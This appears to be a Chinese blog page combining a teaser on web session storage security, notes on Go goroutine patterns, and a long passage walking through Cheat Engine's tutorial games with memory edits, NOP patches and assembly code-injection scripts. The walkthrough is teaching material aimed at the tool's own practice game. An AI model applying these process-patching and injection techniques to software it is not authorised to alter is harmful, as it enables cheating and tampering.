设计问卷调查的架构中可能有什么坑?使用 Session 的安全风险是什么?LocalStorage 和 Cookie 如何选择?Session 的安全问题是什么?

不要再使用 Session 了!简单的一个问卷调查可能有什么坑?LocalStorage 和 Cookie 如何选择?Session 的安全问题是什么?LocalStorage 的局限性是什么?黑客是否能只靠一个网页就让你的信息丢失?如何构建可扩展的无状态应用?本期将继上一期的存储问题,详细比较和 Cookie 类似的几种客户端存储技术。

https://www.bilibili.com/video/av48843893

我为视频中每一种实现方式写了一些代码演示了最简单的写法。

代码位于 /downloads/code/2019-04-11-cookie-session-local-storage-demo/,请从 GitHub 仓库 查看下载 。

其中部分页面可以 在线展示

Golang 多线程编程

我们在写某个程序时,经常需要同时进行多个任务。如果使用 Java 的话,做法通常就是开启多个线程,然后各个线程运行各自的任务,然后使用线程间通信、共用变量等等方法实现结果的传递。

但是 Golang 的 goroutine 并不是线程,他并不是抢占式调度。所以你必须要注意以下问题

  1. 非抢占式调度不能再单核上同时执行多个 goroutine。一个 goroutine 会一直运行下去,直到它被阻塞。

  2. 没有任何方法从外部强行终止一个 goroutine,你只能在创建 goroutine 时传入一个 channel,从外部关闭这个 channel,然后在 goroutine 中定期检查这个 channel 是否被关闭,从而从内部主动结束这个 goroutine。

  3. 没有任何方法从外部判断一个 goroutine 是否已经结束,你只能在创建 goroutine 传入一个 channel,在结束时关闭这个 channel,这样外部就可以知道这个 goroutine 结束了。

由于这些局限,我们创建 goroutine 的时候应该是这样的。

  1. 如果你不在乎这个 goroutine 的生死,那就直接
1
2
3
go func() {
// do things
}()
  1. 如果你希望知道这个 goroutine 什么时候结束。
1
2
3
4
5
6
7
8
9
10
11
done := make(chan struct{})
go func(done chan<- struct{}) {
for {
// do things
if (...) {
break
}
}
close(done)
}(done)
<-done // this will be blocked util goroutine end.
  1. 如果你希望随时可以控制 goroutine 中断
1
2
3
4
5
6
7
8
9
10
11
interrupt := make(chan struct{})
go func(interrupt <-chan struct{}) {
for {
select {
case <-interrupt:
default:
// do things
}
}
}(interrupt)
close(interrupt) // when you need interrupt it.
  1. 既有 interrupt 又有 done

Cheat Engine 进阶教程 CE Tutorial Games

注意事项#

本文使用 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可证发布(可以参考 此协议的中文翻译)。您可以随意分享本文章的链接。全文转载的具体注意事项请阅读协议内容,转载的话最好在下面回帖告诉我一声。

我用的是本文起草时(2019 年 3 月 26 日)的最新版 Cheat Engine 6.8.3(在 2019 年 2 月 9 日发布的)

请尽量在看懂 CE 教程:基础篇 CE Tutorial 之后再来看本篇文章。

绪言#

2018 年 6 月 8 日,Cheat Engine 6.8 发布,软件中新增了一个 Cheat Engine Tutorial Games。这个新的小游戏有 3 关,并不是特别难修改,但是却很有意思。因为它不再是之前的教学程序那种技能教学,而是一种有目的实战教学。

每一关目标只有一个,但办法是多种多样的。这篇文章尽可能利用不同方法来解决问题。重点不是修改这个小游戏,重点是理解其中的思路。

打开 CE Tutorial Games#

菜单栏 → Help → Cheat Engine Tutorial Games

Cheat Engine Tutorial Games

第 1 关#

Step 1

第 1 关:每 5 次射击你必须重新装填,在这个过程中目标会回复血量,尝试找到一种方法消灭目标。

游戏中使用空格键射击。

第 1 关尝试 1#

有数字的时候肯定先尝试搜索数字,毕竟这个是最方便快捷、最直观准确的方式。

右下角有个数字 5,新扫描,搜索 4 字节的精确数值 5

射一发之后再搜索 4

不知道你们搜索到没有,反正我是没有。

第 1 关尝试 2#

我怀疑上一种方法有缺陷,可能子弹没撞到目标和撞到目标时,游戏的数据是两种状态。

我勾选了 Pause the game while scanning

扫描时暂停游戏

在子弹射出过程中搜索 4,结果发现还是不行。

第 1 关尝试 3#

有时候游戏中显示的数字并不是内存中实际存储的数据,你看到的只是计算结果。

如果你学习过简单的编程知识,你应该了解堆内存和栈内存的区别

堆内存(这里的堆 Heap 与数据结构的堆 Heap 完全无关,这只是一种名称)通常是使用 malloc 函数分配的,一旦分配完仅用来存储某个确定结构、数组、对象,通常直到使用 free 释放之前都代表同一游戏数据。堆内存在传递的时候只会传递指针。

栈内存,栈内存是不断复用的,栈内存通常用作函数的局部变量、参数、返回值,函数调用时一层一层嵌套的,调用一个函数,栈就会增长一块,一个函数调用完返回了,栈就会缩短,下一个函数再调用,这块内存就会被重新使用。所以栈内存是会快速变化的,搜索到栈内存通常都没有什么意义。你应该听过 ESP 和 EBP,SP 就是 Stack Pointer,栈指针,描述栈顶在什么内存位置的寄存器。

这里有两篇扩展阅读(说实话我自己都没看):基于栈的内存分配 - 维基百科内存管理 动态内存分配 - 维基百科

我猜测他显示 5 的时候其实内存中是已发射 0 颗子弹。5 只是一个局部变量的计算结果,他在栈中只存在很短的一段时间,搜索是搜索不到的。

所以显示 5 的时候搜索 0,显示 4 的时候搜索 1

第 1 关弹药量

这个地址是在运行之后分配的,你的搜索结果可能和我不一样

把搜索结果添加到下方地址列表中,点击左侧的小方块锁定,这样就可以了。

这个游戏中显示的是 5 而存储的是 0。类似的,某些游戏的货币可能都是 10 的倍数,比如 500 金币,内存中存储的可能就是 50,而不是显示的 500。例如:植物大战僵尸。

第 1 关通关

第 1 关尝试 4#

你以为这样就结束了吗?

这个游戏真的很有意思。你的最终目的是要打败敌人,那如果我直接把敌人就设置为 1 滴血,会怎么样呢?

血条没有具体数值,我们使用未知初始值(Unknown initial value)来搜索。

类型怎么选呢?血量这种东西一般我会先试试 Float(单精度浮点型),然后再试试 4 字节整数,如果不行的话再试试 8 字节和双精度浮点型,再不行的话就方案吧。

第 1 关敌人血量

这里搜索了好几次还剩几个结果,凭感觉应该是第一个,因为敌人回血回到满的时候,第一个数值恰好是 100

直接把敌人血量改为 1,然后发射子弹。

一发入魂。

第 1 关尝试 5#

找到刚才那两个内存地址之后,我们还可以尝试代码注入,但是由于第 1 关是在太简单了,没有必要这样大费周章请来代码注入这种复杂的东西,内存修改搞定就行。代码注入的应用在下一关会提到。

第 2 关#

第 2 关

第 2 关:这两个敌人和你相比拥有更多的血量、造成更多的伤害。消灭他们。提示/警告:敌人和玩家是相关联的。

游戏中使用左右方向键控制旋转,使用上方向键控制前进,使用空格键射击。

第 2 关尝试 1#

敌人两个人一起打我们,每次要掉 4 滴血,我们总共才 100 滴血,而我们打敌人,每次大概就掉 1/100,而且对面还有两个人。

这谁顶得住啊!

我们直接搜自己的血量,把血量改成上千,然后激情对射。

来呀,互相伤害啊!

第 2 关调高血量激情对射

然后…

第 2 关 Plus#

第 2 关 Plus

第 2 关加强:你将会为之付出代价!启动究极炸弹。3、2、1。

第 2 关究极炸弹

啊!我死了。

第 2 关死亡

9199 血的我被炸到 -1 滴血。

第 2 关尝试 2#

怎么办呢?

我们发现,我们的子弹飞行速度比较快,我可以先把两个人都打到只剩 1 滴血,然后杀掉其中一个,另一个会启动究极炸弹,这时我只需要一发小子弹就能把对面打死。

第 2 关对面两个都残血

然而。

第 2 关对面两个都残血,杀掉其中一个

我太天真了。

对面另外一个虽然也残血,但是启动究极炸弹的时候能回血。

第 2 关尝试 3#

肯定有人觉得麻烦了,你直接搜索敌人血量改成 1 不就得了,对面就算回血,就再改成 1。

第 2 关敌人血量

第 2 关启动究极炸弹时回血

果然,他又回到了 21 滴血,我再改成 1 滴血,然后开火。

第 2 关通过

谁让他的炸弹飞的慢呢~

第 2 关尝试 4#

这么赢得好像比较不保险,万一游戏作者把敌人导弹的速度调的比我们子弹快,那不就完蛋了。

我们来从根本上解决问题。

找出修改我们自己血量的指令,Find out what writes to this address。

Find out what writes to this address

然后把这个语句替换成 NOP (No operation),原来修改血量的代码就会变成什么也不做。

替换成 NOP

再与敌人打几个回合,发现,我们不掉血了,但敌人也不掉血了。

Tip/Warning: Enemy and player are related

提示/警告:敌人和玩家是相关联的。

这就是“共用代码”(Shared Code),敌人和我们减血的代码是共用的,不能简单地修改为 NOP,我们需要做一些判断。

第 2 关尝试 5#

我们先把指令还原。

还原指令

你可以分别对这三个地址使用 Find out what writes to this address,看看什么指令写入了这个地址,你应该会有所发现。

三个地址写入的指令

你可以看到,分别向这三个地址写的指令是同一条指令(指令地址相同,就是图中的 10003F6A3)。

既然这几个血量的修改是通过相同的代码,那么就表示玩家的数据存储方式和敌人的数据存储方式是相同的,至少血量都是在 +60 的位置存储。

我们的想法是:从储存玩家和敌人信息的结构体中找出一些差别,然后靠代码注入构造一个判断,如果是玩家自己的话则跳过,不扣血。

这里使用 Dissect data/structures

Dissect data/structures

里面默认已经有一个地址了,我们再额外添加两个地址。

Add extra address

然后填入三个 血量地址 - 60,要注意这里需要减掉 60,因为 +60 之后的是血量地址,把这个 60 减掉才是结构体的开头。

Dissect 开始地址

Dissect 结构大小

因为两个同类的结构肯定不能重叠,所以这里我可以算一下两个结构体的距离,一个结构体最大只有 160 字节,再大就会重叠了。

通常情况下,两个结构体会相距比较远,你可以适当设置这个数值,比如设置一个 1024 甚至 4096 字节之类的,反正你觉得应该足够就行。

解析之后的结构

我们的逻辑就是

1
2
3
4
5
if (*(p + 70) == 0) { // 0 表示是玩家自己
// 什么也不干
} else {
// 正常扣血
}

Find out what writes to this addressShow disassemblerToolsAuto AssembleTemplateCode injection

Code Inject

这是自动生成的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
alloc(newmem,2048,"gtutorial-x86_64.exe"+3F6A3)
label(returnhere)
label(originalcode)
label(exit)

newmem: //this is allocated memory, you have read,write,execute access
//place your code here

originalcode:
sub [rax+60],edx
ret
add [rax],al

exit:
jmp returnhere

"gtutorial-x86_64.exe"+3F6A03:
jmp newmem
nop
returnhere:

代码注入的原理就是把原来那个位置的指令换成 jmp,跳转到我们新申请的一块内存中,程序正常运行到这里就会跳转到我们新申请的那块内存中,然后执行我们的指令,我们自己写的指令的最后一条指令是跳转回原来的位置,这样程序中间就会多执行一段我们的指令了。

不过这里有一点问题,

1
2
3
4
originalcode:
sub [rax+60],edx
ret
add [rax],al

ret 语句之后是另外一个函数了,我们这样修改的话,如果有人调用那个函数就会出错,我们把注入点往前挪一下。

1
2
3
4
gtutorial-x86_64.exe+3F6A0 - 48 89 C8              - mov rax,rcx
gtutorial-x86_64.exe+3F6A3 - 29 50 60 - sub [rax+60],edx
gtutorial-x86_64.exe+3F6A6 - C3 - ret
gtutorial-x86_64.exe+3F6A7 - 00 00 - add [rax],al

重新生成一个 Code injection,注入点设置为上一条语句 gtutorial-x86_64.exe+3F6A0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
alloc(newmem,2048,gtutorial-x86_64.exe+3F6A0) 
label(returnhere)
label(originalcode)
label(exit)

newmem: //this is allocated memory, you have read,write,execute access
//place your code here

originalcode:
mov rax,rcx
sub [rax+60],edx

exit:
jmp returnhere

gtutorial-x86_64.exe+3F6A0:
jmp newmem
nop
returnhere:

其他部分不用动,我们直接在 originalcode 上修改

1
2
3
4
5
6
7
originalcode:
mov rax,rcx
cmp [rax+70],0
je exit // 如果等于 0,则表示玩家,跳到 exit,不执行下一条 sub 语句
sub [rax+60],edx

exit:

双斜线后面是注释,删除掉也可以。

然后点击 Execute

我们可以简单修改一下,然后 FileAssign to current cheat table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[ENABLE]
alloc(newmem,2048,gtutorial-x86_64.exe+3F6A0)
label(returnhere)
label(originalcode)
label(exit)

newmem:

originalcode:
mov rax,rcx
cmp [rax+70],0
je exit
sub [rax+60],edx

exit:
jmp returnhere

gtutorial-x86_64.exe+3F6A0:
jmp newmem
nop
returnhere:

[DISABLE]
gtutorial-x86_64.exe+3F6A0:
mov rax,rcx
sub [rax+60],edx

Assign to current cheat table

开挂效果

第 2 关尝试 6#

刚才的代码改的还不够好,我们可以像敌人的究极炸弹打我们一样,将敌人一击致命。

originalcode 部分修改成

1
2
3
4
5
6
originalcode:
mov rax,rcx
cmp [rax+70],0
je exit
mov edx,[rax+60]
sub [rax+60],edx

直接令 edx 等于敌人血量,然后敌人血量会被扣掉 edx,这样敌人直接就被秒了。

第 2 关尝试 7#

不,第二关还没有结束,我们的还可以继续深入研究下去。

“扣血函数”是同一个的函数,但是调用“扣血函数”的地方肯定是不一样的。

我们可以找到调用他的位置。

我们在 sub [rax+60],edx 处下断点

1
2
3
gtutorial-x86_64.exe+3F6A0 - 48 89 C8              - mov rax,rcx
gtutorial-x86_64.exe+3F6A3 - 29 50 60 - sub [rax+60],edx
gtutorial-x86_64.exe+3F6A6 - C3 - ret

发射一发子弹,等待他命中敌人或命中自己,断点会触发。

这个断点应该会触发 3 次,每次你需要观察一下右侧寄存器窗口中的 rax 的数值来判断这个代表扣谁的血。

跟踪运行

然后跟着 ret 返回到他调用的位置,上一条语句一定是 call

玩家扣血前后的代码

1
2
gtutorial-x86_64.exe+3DFB8 - E8 E3160000           - call gtutorial-x86_64.exe+3F6A0
gtutorial-x86_64.exe+3DFBD - 48 8B 4B 28 - mov rcx,[rbx+28]

单步执行返回之后指针停留在 gtutorial-x86_64.exe+3DFBD,前一条一定是一个 call 指令,就是 call gtutorial-x86_64.exe+3F6A0

gtutorial-x86_64.exe+3F6A0 这个地址就是之前那个扣血函数。

1
2
3
gtutorial-x86_64.exe+3F6A0 - 48 89 C8              - mov rax,rcx
gtutorial-x86_64.exe+3F6A3 - 29 50 60 - sub [rax+60],edx
gtutorial-x86_64.exe+3F6A6 - C3 - ret

同理可以知道敌人被打中时扣血的代码

左侧敌人扣血代码

1
gtutorial-x86_64.exe+3E0ED - E8 AE150000           - call gtutorial-x86_64.exe+3F6A0

右侧敌人扣血代码

1
gtutorial-x86_64.exe+3E1D6 - E8 C5140000           - call gtutorial-x86_64.exe+3F6A0

这个游戏很有意思,命中敌人和命中玩家使用的是不同的代码,仅仅扣血使用的是相同的代码。

这就是传说中的面向复制粘贴型编程。

既然他们使用的是不同的代码,这个 fastcall 由没有影响栈平衡,那么我可以直接把 gtutorial-x86_64.exe+3DFB8 这一行用 NOP 替换掉。

Replace code that does nothing

ret 语句的作用是返回调用处,call 的时候会往栈顶压一个返回之后应该执行的地址。

简单一个 ret 语句就是跳回栈顶那个地址的位置,然后再把栈顶那个地址弹出

也有 ret 8 这样的语句,就是先从栈中弹出 8 个字节(相当于 add esp,8),然后再执行返回。之所以这样所是因为调用这个函数之前,往栈中压入了 8 个字节的参数(比如两个 4 字节整数),函数返回之前必须恢复栈平衡。

gtutorial-x86_64.exe+3F6A6 这个 ret 语句,后面没有参数,应该不会影响栈平衡。

现在也可以让敌人打我们不掉血,我们打敌人正常掉血了。

第 2 关尝试 8#

现在来分析一下 gtutorial-x86_64.exe+3F6A0 这个扣血函数,这个函数总共就 3 条指令,函数有 2 个参数,分别是 rcxedxrcx 为结构体的指针,edx 为扣血的数量,没有返回值。

这种用寄存器传递参数来调用函数方法是典型的 fastcall

我们需要分析一下 call 之前是什么确定了 edx 的值。

以玩家扣血为例,我们需要看 call 之前的几行代码。

1
2
3
4
5
6
7
8
9
gtutorial-x86_64.exe+3DF98 - FF 90 28010000        - call qword ptr [rax+00000128]
gtutorial-x86_64.exe+3DF9E - 84 C0 - test al,al
gtutorial-x86_64.exe+3DFA0 - 0F84 D0000000 - je gtutorial-x86_64.exe+3E076
gtutorial-x86_64.exe+3DFA6 - 48 8B 53 40 - mov rdx,[rbx+40]
gtutorial-x86_64.exe+3DFAA - 49 63 C4 - movsxd rax,r12d
gtutorial-x86_64.exe+3DFAD - 48 8B 04 C2 - mov rax,[rdx+rax*8]
gtutorial-x86_64.exe+3DFB1 - 8B 50 70 - mov edx,[rax+70]
gtutorial-x86_64.exe+3DFB4 - 48 8B 4B 28 - mov rcx,[rbx+28]
gtutorial-x86_64.exe+3DFB8 - E8 E3160000 - call gtutorial-x86_64.exe+3F6A0

call qword ptr [rax+00000128] 处下断点,然后回到游戏中发射子弹。会发现,刚一发射子弹立刻就断下来了。我猜测这里应该是碰撞检测,然后下面的 testje 来做判断,如果碰撞上了,则执行扣血函数,没撞上则直接跳过这部分代码,不扣血。

怎么验证一下呢?把 je 改成 jne,看看是不是子弹没撞上的时候就直接扣血了。

修改以后的确是这样的,而且之前是一次掉 4 滴血,现在连自己的子弹都会把自己打掉血,一次会掉 5 滴血。

把这里 je 改成 jmp 即可。CE 会提示原来指令是 6 字节,新指令是 5 字节,是否用 NOP 填充多余的,选是就行了。

现在子弹会从我们上方飞过,而不与我们产生碰撞,而敌人却依然会中弹。

第 2 关尝试 9#

尝试 5 中的分块数据中可以看到一个 +34 是敌人角度,我们可以让敌人不对准我们。

手动添加地址 [[["gtutorial-x86_64.exe"+37DC50]+760]+30]+34(左侧敌人角度),Float 类型(单精度浮点型)。

我们尝试把它修改成其他数值,但是他还会实时被游戏修改回指向玩家。

搜索写入这些数值的指令,然后 NOP 掉,这样游戏就不会修改他们的数值了,我们从外部的修改就成功了。

锁定敌人发射方向

但是,最后的究极炸弹似乎是跟踪导弹啊。

跟踪导弹

我需要想个办法。

第 2 关尝试 10#

尝试 5 中的扣血函数,我们下断点之后知道 edx = 2,这里的 edx 是扣血量。

1
gtutorial-x86_64.exe+3F6A3 - 29 50 60              - sub [rax+60],edx

我们再看函数调用处

1
gtutorial-x86_64.exe+3DFB1 - 8B 50 70              - mov edx,[rax+70]

这个 edx 是来自于 [rax+70] 的,我们下个断点之后我们从寄存器中知道了子弹强度的地址,然后使用通用的找基址偏移的方法找到地址。

从寄存器中得到子弹地址

他的前一行。

1
gtutorial-x86_64.exe+3DFAD - 48 8B 04 C2           - mov rax,[rdx+rax*8]

遇到 [rdx+rax*8] 通常就是个动态数组,rdx 就是数组头部地址,rax 就是元素下标,64 位寻址内存对齐下,两个变量地址相差 8

子弹数组强度的地址为 [[[["gtutorial-x86_64.exe"+37DC50]+760]+40]+rax*8]+70

然后我可以把敌人那发究极炸弹的威力改成 1

没有威力的究极炸弹

雷声大雨点小。

跟挠痒痒一样。

注意动画中,我使用 Adavanced Options → 暂停,把游戏暂停住了。这样避免了我操作时间不够,导致炸弹直接把我打死了。

不让子弹移动

当然我也可以把我的子弹改成超级大的威力,让我一下把它打死。

第 2 关尝试 11#

我还可以直接锁住子弹的坐标,然后不让他接近我。

使用 Dissect data/structures

我们射出一发子弹,然后暂停游戏。然后根据屏幕中的 3 颗子弹,大致分析一下这些地址的参数。

注意子弹强度是 +70,所以我们填入 Structure dissect 中的地址应该是子弹强度地址 -70

我们找到了子弹的 X 坐标和 Y 坐标,将他们锁定就可以让子弹无法靠近我。

子弹不能移动

第 3 关#

第 3 关

第 3 关:把每个平台标记为绿色可以解锁那扇门。注意:敌人会将你一击致命(然后就失败了)玩的愉快!提示:有很多解决方案。比如:找到与敌人的碰撞检测,或者 Teleport(传送),或者飞行,或者…

第 3 关尝试 1#

看样子,不开挂也能过啊。

第 3 关 Plus#

看来我还是 too young, too naïve.

第 3 关 Plus

第 3 关加强:门虽然解锁了,但是敌人把门堵住了。

第 3 关尝试 2#

最简单的就是搜索人物坐标了。把人物直接改到门那里,不用“通过”敌人,而是直接瞬移过去。

计算机中,2D 游戏一般是左负、右正,上下的正负不一定。3D 游戏一般高度方向上正、下负,东西南北的正负不一定。

2D 游戏,如果使用计算机绘图的坐标系则是下正、上负,如果使用数学中的坐标则是上正、下负。

绘图窗口坐标

图片来源页

笛卡尔坐标系

图片来源页

3D 游戏也有两种坐标系。一种是向上为 y 轴(这是沿袭 2D 坐标的惯例),然后一般是向右为 x,向屏幕外为 z(也有向屏幕内为 z 的)。另一种则是向上为 z,水平面中向北为 y,向东为 x。

搜索 Float(单精度浮点型)未知初始值,然后向右移动人物,搜索增大了的数值,然后向左移动人物,搜索减小了的数值,反复几次,你应该能看到剩下一个唯一的数值。过程中还可以不移动人物,搜索未改变的数值。

你可以在设置中给常用搜索功能添加快捷键。这样不用切出游戏就可以进行下一次扫描了。

搜索快捷键

添加到地址列表中,然后改名为“X 坐标”。然后复制粘贴,修改地址,把地址 +4 即为 Y 坐标。

这里 +4 还是 -4 主要看内存中的排列方式。一般 X 排在 Y 前面,所以要 +4。对于 3D 游戏,你搜索高度可能搜到的是 Y 也可能是 Z,你可以使用右键 → Browse this memory region,然后右键 → Display TypeFloat 来看看前后的内存数据,然后在游戏中移动一下,凭感觉决定 X、Y、Z。

Browse this memory region

Display Type Float

移动一下人物,大概估计一下坐标的范围,整个游戏区域对应的 X 和 Y 是 -11 直接的值。估计一下门的 X 坐标,把 X 坐标改成 0.97

Well Done#

Well Done!

你战胜了全部三个游戏,干得漂亮!

第 3 关尝试 3#

上面的方法很简单也很实用,不过我们还可以继续“玩”这个游戏。

我们可不可以直接把所有的平台都改成绿色呢?

因为每个平台只有两种状态,而且只能从红变成绿,这样很不利于搜索,而且我也不知道他是怎么存储的,不知道红和绿两个状态的值都是多少。

这个我尝试了很多种办法,例如:

  1. 红的时候搜 0,绿的时候搜 1,然后撞敌人撞死,再搜 0

  2. 红的时候搜未知初始值,绿的时候搜改变了的数值,然后撞敌人撞死,再搜改变了的数值。

  3. 把类型改为 Byte(单字节类型),因为 bool 类型都是占用 1 字节的。

  4. 其实我还怀疑是不是每次撞死都会重新申请内存,这样就更麻烦了。

最后,我使用“红的时候搜 Byte 类型未知初始值,绿的时候搜改变了的数值,然后撞敌人撞死,再搜改变了的数值”的方法找到了一点线索。虽然没有找到具体的数据存储地址,但是我找到了绝对相关的一组数据。这组数据每次颜色转换都会相应的来回改变。

与颜色有关的内存地址

虽然没有找到具体与台阶有关的数值,但是注意图中 015F1AD8 这个值,他的含义似乎是已经点亮的平台的数量

我直接把这个数字改成 12 的话,虽然没有让所有的平台都变绿,但是依然触发“门解锁、敌人堵门”这一事件了。

我突然有个想法,就是我直接站在门上,然后把数值修改为 12,我已经在门上了,敌人就堵不到我了。

结果真的可以。

把已变绿平台数直接修改为 12

第 3 关尝试 4#

4BFEEB60 那些 255204 看样子像是 RGB 值。如果我手动添加 4BFEEB60 类型设为 4 字节,显示十六进制值。结果就是 FF00FF00,4 个字节分别是 ARGB,就是不透明的绿色。红色的平台则是 FFCC0000,不透明的暗红色。

颜色显示 16 进制值

但是这些数值改了也没什么用,应该就是每一像素的颜色。

上面那个 015ABE78,手动添加这个地址,并设置成 Float 类型的话,就会发现,红色的时候是 0.8,绿色的时候是 0。同理 015ABE7C,红色的时候是 0,绿色的时候是 1

把这两个数值改成其他的,你会发现平台的颜色也变了。

修改 RGB 值

我又发现一个有趣的现象,如果我把平台的颜色锁定为红色,然后让人物站上去,这时“已变绿平台数”那个计数器会快速增长。所以你有什么想法?

这就是为什么我找不到一个 bool 型变量来描述平台是否变绿,因为他的代码根本没有这样一个变量,他的逻辑应该大致是这样的。

1
2
3
4
5
6
7
if (collision) {
R = 0;
if (G != 1) {
count++;
G = 1;
}
}

如果站到平台上了,则令红色为 0,如果绿色不为 1,则计数器 +1,并令绿色为 1

这里面没有出现 flag 这种东西来表示平台是否变绿色,他直接用颜色来判断的。

第 3 关尝试 5#

找到与敌人的碰撞检测,或者 Teleport(传送),或者飞行,或者…

关卡说明中告诉里一部分思路,TP 已经试过了,现在我们来试试飞行。

所谓的飞行其实就是把重力改小,或者是像玩 Flappy Bird 那样一跳一跳的,可以一直在天上飞着。

首先来找到重力大小。

重力会影响速度,速度影响坐标,我们现在只知道坐标的地址,我们可以通过查找写入,然后分析附近代码来找到速度,然后进而找到重力加速度。

$$
y = y_0 + v_y \times t
$$

计算位置需要先读取 Y 坐标 y_0,然后加上速度差,在赋值给 y

这里有个小技巧,就是对同一个地址同时使用查找写入和查找访问,这样我们很容易地找到了写入的地址,然后在查找访问窗口中,写入地址以前的几个读取都很可疑。

访问位置的指令

第二条写入指令,在跳起来悬空的时候,计数器不会增加,应该是当人物接触到地面的时候,防止人物穿过地面用的。我们只看第一条。

Show disassembler,我把 gtutorial-x86_64.exe+40491gtutorial-x86_64.exe+40506 截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gtutorial-x86_64.exe+4048D - 48 8B 43 28           - mov rax,[rbx+28]
gtutorial-x86_64.exe+40491 - F3 44 0F10 40 28 - movss xmm8,[rax+28] { 读取 Y 坐标 }
gtutorial-x86_64.exe+40497 - 48 8B 43 28 - mov rax,[rbx+28]
gtutorial-x86_64.exe+4049B - F3 0F5A 48 28 - cvtss2sd xmm1,[rax+28] { 再次读取 Y 坐标 }
gtutorial-x86_64.exe+404A0 - F3 0F5A 53 78 - cvtss2sd xmm2,[rbx+78] { 读取 Y 速度 }
gtutorial-x86_64.exe+404A5 - F2 0F2A C6 - cvtsi2sd xmm0,esi { esi 是毫秒数 }
gtutorial-x86_64.exe+404A9 - F2 0F5E 05 AF382400 - divsd xmm0,[gtutorial-x86_64.exe+283D60] { 除以 1000 }
gtutorial-x86_64.exe+404B1 - F2 0F59 C2 - mulsd xmm0,xmm2 { 速度乘时间 }
gtutorial-x86_64.exe+404B5 - F2 0F5C C8 - subsd xmm1,xmm0 { Y 坐标减去位移 }
gtutorial-x86_64.exe+404B9 - F2 44 0F5A C9 - cvtsd2ss xmm9,xmm1 { double 转 float }

......

gtutorial-x86_64.exe+40506 - F3 44 0F11 48 28 - movss [rax+28],xmm9 { 赋值给 [rax+28] }

注释是我自己加的。这个是根据逻辑和感觉猜出来的,也有可能猜错。不过这个简单的速度位移公式,一般来说分析应该是正确的。

注意这几条

1
2
3
gtutorial-x86_64.exe+40497 - 48 8B 43 28           - mov rax,[rbx+28]
gtutorial-x86_64.exe+4049B - F3 0F5A 48 28 - cvtss2sd xmm1,[rax+28] { 再次读取 Y 坐标 }
gtutorial-x86_64.exe+404A0 - F3 0F5A 53 78 - cvtss2sd xmm2,[rbx+78] { 读取 Y 速度 }

Y 坐标的内存地址是 [[["gtutorial-x86_64.exe"+37DC50]+760]+28]+24rbx 应该是一级指针的值 [["gtutorial-x86_64.exe"+37DC50]+760],那么 Y 速度的地址应该就是 [["gtutorial-x86_64.exe"+37DC50]+760]+78

手动添加 Y 速度的地址,然后把速度改成 3,你会发现人物跳了起来。

修改热键

刚才设成 3 跳的有点高,添加一个上箭头的热键,设置值为 1。如果长按的话就会匀速向上飞。

修改热键

第 3 关尝试 6#

刚才改速度已经成功了,现在我们来改重力加速度。

还是查找写入。

写入速度的指令

  • 第 1 个在脱离地面之后不计数,应该是地面支撑
  • 第 2 个随时都会触发,应该是重力加速度导致的
  • 第 3 个是起跳时触发
  • 第 4 个则是长按跳跃连跳时触发

我突然有个想法,起跳时触发的那条语句,一定有什么限制他,让他只能在地面上起跳,而不能在空中起跳。

Show disassembler.

1
2
3
4
5
gtutorial-x86_64.exe+3FE9A - C6 43 74 01           - mov byte ptr [rbx+74],01 { 1 }
gtutorial-x86_64.exe+3FE9E - 80 7B 7C 00 - cmp byte ptr [rbx+7C],00 { 0 }
gtutorial-x86_64.exe+3FEA2 - 0F85 93000000 - jne gtutorial-x86_64.exe+3FF3B
gtutorial-x86_64.exe+3FEA8 - 8B 05 823E2400 - mov eax,[gtutorial-x86_64.exe+283D30] { (1.45) }
gtutorial-x86_64.exe+3FEAE - 89 43 78 - mov [rbx+78],eax

经过分析和猜测,[rbx+74] 表示是否按下跳跃键,[rbx+7C] 表示是否悬空。

jne 表示如果悬空则不允许跳。

直接把 jne 那条语句 NOP 掉,就可以实现无限连跳了。刚才设置的热键都用不着了。

你也尝试可以修改 gtutorial-x86_64.exe+283D30 这个地址的数值,它表示跳跃初速度。

上面的方法修改之后,长按不会一直向上飞,必须像 Flappy Bird 一样一下一下的。如果你想长按就一直向上飞,那就把第 4 条指令前面的 jne 也 NOP 掉。

1
2
3
4
gtutorial-x86_64.exe+406F8 - 80 7B 7C 00           - cmp byte ptr [rbx+7C],00 { 0 }
gtutorial-x86_64.exe+406FC - 75 0B - jne gtutorial-x86_64.exe+40709
gtutorial-x86_64.exe+406FE - 8B 05 2C362400 - mov eax,[gtutorial-x86_64.exe+283D30] { (1.45) }
gtutorial-x86_64.exe+40704 - 89 43 78 - mov [rbx+78],eax

第 3 关尝试 7#

刚才跑题了,我们继续来找重力加速度

$$
v = v_0 + g \times t
$$

分析一下第 2 个指令附近

1
2
3
4
gtutorial-x86_64.exe+40709 - F3 0F5A 43 78         - cvtss2sd xmm0,[rbx+78] { 读取速度 }
gtutorial-x86_64.exe+4070E - F2 0F5C 05 52362400 - subsd xmm0,[gtutorial-x86_64.exe+283D68] { 减去 0.1 }
gtutorial-x86_64.exe+40716 - F2 0F5A C0 - cvtsd2ss xmm0,xmm0 { double 转 float }
gtutorial-x86_64.exe+4071A - F3 0F11 43 78 - movss [rbx+78],xmm0 { 写入速度 }

这个逻辑好简单啊,与时间都无关,就是每次计算把 Y 速度减 0.1。

手动添加地址 gtutorial-x86_64.exe+283D68,类型为 double,然后把重力加速度调小就行了。

第 3 关尝试 8#

我们还有什么办法?我可不可以把敌人固定住,让他不要移动,或者移到屏幕外,总之让他别妨碍我们就行了。

用同样搜索自己坐标的方法搜索敌人的坐标。只不过自己的坐标可以自己控制,敌人的坐标只能随他们移动了。

找到 3 个 X 坐标之后 +4 就是 Y 坐标。

把这些坐标锁定,可行。把已变绿平台数改成 12,这些敌人又不听话了,又开始堵门了,锁定似乎对他们不好使。

查找写入他们的指令

写入敌人位置的指令

既然他堵住门时会一直触发第 5 条,那么我就简单粗暴一点,直接把第 5 条指令 NOP 掉,这样我就可以从外部修改这个数值了。

敌人离开门口

第 3 关尝试 9#

我们还可以想办法直接开门。

查找访问“已变绿平台数”的指令。

只有这一条

1
gtutorial-x86_64.exe+4098B - 48 63 93 88000000     - movsxd  rdx,dword ptr [rbx+00000088]

我们分析一下附近

1
2
3
4
5
6
7
8
9
10
11
12
13
14
